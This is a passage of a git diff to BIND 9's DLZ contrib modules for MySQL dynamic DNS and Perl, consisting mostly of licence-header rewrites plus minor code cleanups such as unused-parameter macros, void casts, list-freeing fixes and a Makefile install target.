+ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+-->
+
 BIND 9 DLZ MySQL module with support for dynamic DNS (DDNS)
 
 Adapted from code contributed by Marty Lee, Maui Systems Ltd.
@@ -46,7 +73,7 @@ The database for this module uses the following schema:
  - writeable: set to true if the zone can be updated via DDNS
 
 'ZoneData' contains the individual records within the zone:
- - zone_id: the 'id' from the corresponding record in Zones 
+ - zone_id: the 'id' from the corresponding record in Zones
  - name: domain name, relative to the zone apex. (Data at the zone
    apex itself may use a blank name or "@".)
  - type: the RR type, expressed as text
diff --git a/contrib/dlz/modules/mysqldyn/dlz_mysqldyn_mod.c b/contrib/dlz/modules/mysqldyn/dlz_mysqldyn_mod.c
index 686258b692..f4ccd7b094 100644
--- a/contrib/dlz/modules/mysqldyn/dlz_mysqldyn_mod.c
+++ b/contrib/dlz/modules/mysqldyn/dlz_mysqldyn_mod.c
@@ -1,34 +1,29 @@
 /*
- * Copyright (C) 2014 Maui Systems Ltd, Scotland, contact@maui-systems.co.uk.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND MAUI SYSTEMS LTD DISCLAIMS ALL
- * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES
- * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL MAUI SYSTEMS LTD  BE
- * LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR
- * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
- * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
- * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
- * SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  */
 
 /*
- * Copyright (C) 2011,2014  Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
  *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+ * conceived and contributed by Rob Butler.
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
  * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
  * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
  * PERFORMANCE OF THIS SOFTWARE.
  */
 
@@ -61,9 +56,9 @@
 #include <dlz_minimal.h>
 #include <dlz_pthread.h>
 
-#if !defined(LIBMARIADB) && MYSQL_VERSION_ID >= 80000
+#if !defined(MARIADB_BASE_VERSION) && MYSQL_VERSION_ID >= 80000
 typedef bool my_bool;
-#endif /* !defined(LIBMARIADB) && MYSQL_VERSION_ID >= 80000 */
+#endif /* !defined(MARIADB_BASE_VERSION) && MYSQL_VERSION_ID >= 80000 */
 
 /*
  * The SQL queries that will be used for lookups and updates are defined
@@ -466,9 +461,8 @@ build_query(mysql_data_t *state, mysql_instance_t *dbi, const char *command,
 fail:
 	va_end(ap1);
 
-	for (item = DLZ_LIST_HEAD(arglist); item != NULL;
-	     item = DLZ_LIST_NEXT(item, link))
-	{
+	while ((item = DLZ_LIST_HEAD(arglist)) != NULL) {
+		DLZ_LIST_UNLINK(arglist, item, link);
 		if (item->arg != NULL) {
 			free(item->arg);
 		}
@@ -499,7 +493,7 @@ isrelative(const char *s) {
 }
 
 /* Return a dot if 's' doesn't already end with one */
-static inline const char *
+static const char *
 dot(const char *s) {
 	return (isrelative(s) ? "." : "");
 }
@@ -711,8 +705,9 @@ make_notify(const char *zone, int *packetlen) {
 	/* Make the question into labels */
 	j = 12;
 	while (packet[j]) {
-		for (i = j + 1; packet[i] != '\0' && packet[i] != '.'; i++)
+		for (i = j + 1; packet[i] != '\0' && packet[i] != '.'; i++) {
 			;
+		}
 		packet[j] = i - j - 1;
 		j = i;
 	}
@@ -1082,6 +1077,8 @@ dlz_destroy(void *dbdata) {
 isc_result_t
 dlz_findzonedb(void *dbdata, const char *name, dns_clientinfomethods_t *methods,
 	       dns_clientinfo_t *clientinfo) {
+	UNUSED(methods);
+	UNUSED(clientinfo);
 	isc_result_t result = ISC_R_SUCCESS;
 	mysql_data_t *state = (mysql_data_t *)dbdata;
 	MYSQL_RES *res;
@@ -1114,6 +1111,8 @@ isc_result_t
 dlz_lookup(const char *zone, const char *name, void *dbdata,
 	   dns_sdlzlookup_t *lookup, dns_clientinfomethods_t *methods,
 	   dns_clientinfo_t *clientinfo) {
+	UNUSED(methods);
+	UNUSED(clientinfo);
 	isc_result_t result;
 	mysql_data_t *state = (mysql_data_t *)dbdata;
 	bool found = false;
@@ -1133,8 +1132,7 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 	}
 
 	/* Are we okay to try to find the txn version?  */
-	if (clientinfo != NULL && clientinfo->version >= DNS_CLIENTINFO_VERSION)
-	{
+	if (clientinfo != NULL && clientinfo->version >= 2) {
 		txn = (mysql_transaction_t *)clientinfo->dbversion;
 		if (txn != NULL && validate_txn(state, txn) == ISC_R_SUCCESS) {
 			dbi = txn->dbi;
diff --git a/contrib/dlz/modules/mysqldyn/testing/named.conf b/contrib/dlz/modules/mysqldyn/testing/named.conf
index 3b3a0dc692..8131d9c00e 100644
--- a/contrib/dlz/modules/mysqldyn/testing/named.conf
+++ b/contrib/dlz/modules/mysqldyn/testing/named.conf
@@ -1,17 +1,14 @@
 /*
- * Copyright (C) 2013  Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: MPL-2.0
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
- * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- * PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
  */
 
 controls { };
diff --git a/contrib/dlz/modules/perl/Makefile b/contrib/dlz/modules/perl/Makefile
index ff2da39fda..ec99e0008d 100644
--- a/contrib/dlz/modules/perl/Makefile
+++ b/contrib/dlz/modules/perl/Makefile
@@ -1,3 +1,29 @@
+# Copyright Internet Systems Consortium, Inc. ("ISC")
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+# Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+# Copyright (C) John Eaglesham
+#
+# The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+# conceived and contributed by Rob Butler.
+#
+# SPDX-License-Identifier: ISC and MPL-2.0
+#
+# Permission to use, copy, modify, and distribute this software for any purpose
+# with or without fee is hereby granted, provided that the above copyright
+# notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+# OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
 # For building the dlz_perl_driver driver we don't use
 # the bind9 build structure as the aim is to provide an
 # perl_driver that is separable from the bind9 source tree
@@ -31,3 +57,7 @@ $(LIBNAME): dlz_perl_driver.o dlz_perl_callback_clientinfo.o dlz_perl_callback.o
 
 clean:
 	rm -f dlz_perl_driver.o dlz_perl_driver.so dlz_perl_callback_clientinfo.c dlz_perl_callback_clientinfo.o dlz_perl_callback.c dlz_perl_callback.o
+
+install: dlz_perl_driver.so
+	mkdir -p $(DESTDIR)$(libdir)
+	install dlz_perl_driver.so $(DESTDIR)$(libdir)
diff --git a/contrib/dlz/modules/perl/README b/contrib/dlz/modules/perl/README
index 6f79e3f094..324054a8c4 100644
--- a/contrib/dlz/modules/perl/README
+++ b/contrib/dlz/modules/perl/README
@@ -1,3 +1,32 @@
+<!--
+Copyright Internet Systems Consortium, Inc. ("ISC")
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0. If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+Copyright (C) John Eaglesham
+
+The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+conceived and contributed by Rob Butler.
+
+SPDX-License-Identifier: ISC and MPL-2.0
+
+Permission to use, copy, modify, and distribute this software for any purpose
+with or without fee is hereby granted, provided that the above copyright
+notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+-->
+
+
 BIND 9 DLZ Perl module (bind-dlz-tools)
 
 Written by John Eaglesham <dns@8192.net>
diff --git a/contrib/dlz/modules/perl/dlz_perl_callback.xs b/contrib/dlz/modules/perl/dlz_perl_callback.xs
index ccecb2490c..0b9f5047b0 100644
--- a/contrib/dlz/modules/perl/dlz_perl_callback.xs
+++ b/contrib/dlz/modules/perl/dlz_perl_callback.xs
@@ -1,18 +1,31 @@
 /*
- * Copyright (C) 2012  John Eaglesham
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND JOHN EAGLESHAM
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * JOHN EAGLESHAM BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING
- * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
- * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
- * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ */
+
+/*
+ * Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+ * Copyright (C) John Eaglesham
+ *
+ * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+ * conceived and contributed by Rob Butler.
+ *
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
  */
 
 #include "EXTERN.h"
diff --git a/contrib/dlz/modules/perl/dlz_perl_callback_clientinfo.xs b/contrib/dlz/modules/perl/dlz_perl_callback_clientinfo.xs
index fd341d934a..22aec66619 100644
--- a/contrib/dlz/modules/perl/dlz_perl_callback_clientinfo.xs
+++ b/contrib/dlz/modules/perl/dlz_perl_callback_clientinfo.xs
@@ -1,18 +1,31 @@
 /*
- * Copyright (C) 2012  John Eaglesham
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND JOHN EAGLESHAM
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * JOHN EAGLESHAM BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING
- * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
- * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
- * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ */
+
+/*
+ * Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+ * Copyright (C) John Eaglesham
+ *
+ * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+ * conceived and contributed by Rob Butler.
+ *
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
  */
 
 #define ADDR_BUF_LEN INET6_ADDRSTRLEN
diff --git a/contrib/dlz/modules/perl/dlz_perl_driver.c b/contrib/dlz/modules/perl/dlz_perl_driver.c
index 15d4c9c699..b99b296e99 100644
--- a/contrib/dlz/modules/perl/dlz_perl_driver.c
+++ b/contrib/dlz/modules/perl/dlz_perl_driver.c
@@ -1,62 +1,33 @@
 /*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2016  Internet Systems Consortium, Inc. ("ISC")
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  */
 
 /*
- * Copyright (C) 2009-2012  John Eaglesham
+ * Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+ * Copyright (C) John Eaglesham
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+ * conceived and contributed by Rob Butler.
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND JOHN EAGLESHAM
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * JOHN EAGLESHAM BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING
- * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
- * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
- * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
  */
+
 #include "dlz_perl_driver.h"
 #include <EXTERN.h>
 #include <perl.h>
@@ -66,6 +37,8 @@
 
 #include <dlz_minimal.h>
 
+#define BUF_LEN 64 /* Should be big enough, right? hah */
+
 /* Enable debug logging? */
 #if 0
 #define carp(...) cd->log(ISC_LOG_INFO, __VA_ARGS__);
@@ -108,7 +81,7 @@ EXTERN_C void
 boot_DLZ_Perl(pTHX_ CV *cv);
 EXTERN_C void
 xs_init(pTHX) {
-	char *file = __FILE__;
+	const char *file = __FILE__;
 	dXSUB_SYS;
 
 	/* DynaLoader is a special case */
@@ -143,6 +116,7 @@ b9_add_helper(config_data_t *state, const char *helper_name, void *ptr) {
 
 int
 dlz_version(unsigned int *flags) {
+	UNUSED(flags);
 	return (DLZ_DLOPEN_VERSION);
 }
 
@@ -177,7 +151,7 @@ dlz_allnodes(const char *zone, void *dbdata, dns_sdlzallnodes_t *allnodes) {
 	SPAGAIN;
 
 	if (SvTRUE(ERRSV)) {
-		POPs;
+		(void)POPs;
 		cd->log(ISC_LOG_ERROR,
 			"DLZ Perl: allnodes for zone %s died in eval: %s", zone,
 			SvPV_nolen(ERRSV));
@@ -195,7 +169,8 @@ dlz_allnodes(const char *zone, void *dbdata, dns_sdlzallnodes_t *allnodes) {
 	while (r++ < rrcount) {
 		record_ref = POPs;
 		if ((!SvROK(record_ref)) ||
-		    (SvTYPE(SvRV(record_ref)) != SVt_PVAV)) {
+		    (SvTYPE(SvRV(record_ref)) != SVt_PVAV))
+		{
 			cd->log(ISC_LOG_ERROR,
 				"DLZ Perl: allnodes for zone %s "
 				"returned an invalid value "
@@ -213,7 +188,8 @@ dlz_allnodes(const char *zone, void *dbdata, dns_sdlzallnodes_t *allnodes) {
 		rr_data = av_fetch((AV *)record_ref, 3, 0);
 
 		if (rr_name == NULL || rr_type == NULL || rr_ttl == NULL ||
-		    rr_data == NULL) {
+		    rr_data == NULL)
+		{
 			cd->log(ISC_LOG_ERROR,
 				"DLZ Perl: allnodes for zone %s "
 				"returned an array that was missing data",
@@ -277,7 +253,7 @@ dlz_allowzonexfr(void *dbdata, const char *name, const char *client) {
 		 * it away so we don't leave junk on the stack for the next
 		 * caller.
 		 */
-		POPs;
+		(void)POPs;
 		cd->log(ISC_LOG_ERROR,
 			"DLZ Perl: allowzonexfr died in eval: %s",
 			SvPV_nolen(ERRSV));
@@ -354,7 +330,7 @@ dlz_findzonedb(void *dbdata, const char *name, dns_clientinfomethods_t *methods,
 		 * it away so we don't leave junk on the stack for the next
 		 * caller.
 		 */
-		POPs;
+		(void)POPs;
 		cd->log(ISC_LOG_ERROR, "DLZ Perl: findzone died in eval: %s",
 			SvPV_nolen(ERRSV));
 		retval = ISC_R_FAILURE;
@@ -433,7 +409,7 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 	SPAGAIN;
 
 	if (SvTRUE(ERRSV)) {
-		POPs;
+		(void)POPs;
 		cd->log(ISC_LOG_ERROR, "DLZ Perl: lookup died in eval: %s",
 			SvPV_nolen(ERRSV));
 		retval = ISC_R_FAILURE;
@@ -450,7 +426,8 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 	while (r++ < rrcount) {
 		record_ref = POPs;
 		if ((!SvROK(record_ref)) ||
-		    (SvTYPE(SvRV(record_ref)) != SVt_PVAV)) {
+		    (SvTYPE(SvRV(record_ref)) != SVt_PVAV))
+		{
 			cd->log(ISC_LOG_ERROR, "DLZ Perl: lookup returned an "
 					       "invalid value (expected array "
 					       "of arrayrefs)!");
@@ -499,14 +476,13 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 	return (retval);
 }
 
-const char *
+static const char *
 #ifdef MULTIPLICITY
 missing_perl_method(const char *perl_class_name, PerlInterpreter *my_perl)
 #else  /* ifdef MULTIPLICITY */
 missing_perl_method(const char *perl_class_name)
 #endif /* ifdef MULTIPLICITY */
 {
-	const int BUF_LEN = 64; /* Should be big enough, right? hah */
 	char full_name[BUF_LEN];
 	const char *methods[] = { "new", "findzone", "lookup", NULL };
 	int i = 0;
@@ -528,8 +504,7 @@ isc_result_t
 dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	   ...) {
 	config_data_t *cd;
-	char *init_args[] = { NULL, NULL };
-	char *perlrun[] = { "", NULL, "dlz perl", NULL };
+	char *perlrun[] = { (char *)"", NULL, (char *)"dlz perl", NULL };
 	char *perl_class_name;
 	int r;
 	va_list ap;
@@ -639,9 +614,10 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	}
 
 #ifdef MULTIPLICITY
-	if (missing_method_name = missing_perl_method(perl_class_name, my_perl))
+	if ((missing_method_name = missing_perl_method(perl_class_name,
+						       my_perl)))
 #else  /* ifdef MULTIPLICITY */
-	if (missing_method_name = missing_perl_method(perl_class_name))
+	if ((missing_method_name = missing_perl_method(perl_class_name)))
 #endif /* ifdef MULTIPLICITY */
 	{
 		cd->log(ISC_LOG_ERROR,
@@ -683,7 +659,7 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	LEAVE;
 
 	if (SvTRUE(ERRSV)) {
-		POPs;
+		(void)POPs;
 		cd->log(ISC_LOG_ERROR, "DLZ Perl '%s': new died in eval: %s",
 			dlzname, SvPV_nolen(ERRSV));
 		goto CLEAN_UP_PERL_AND_FAIL;
diff --git a/contrib/dlz/modules/perl/dlz_perl_driver.h b/contrib/dlz/modules/perl/dlz_perl_driver.h
index 1db8e2833d..71e13d5e7b 100644
--- a/contrib/dlz/modules/perl/dlz_perl_driver.h
+++ b/contrib/dlz/modules/perl/dlz_perl_driver.h
@@ -1,20 +1,35 @@
 /*
- * Copyright (C) 2009-2012  John Eaglesham
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND JOHN EAGLESHAM
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * JOHN EAGLESHAM BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING
- * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
- * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
- * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  */
 
+/*
+ * Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+ * Copyright (C) John Eaglesham
+ *
+ * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+ * conceived and contributed by Rob Butler.
+ *
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
+ *
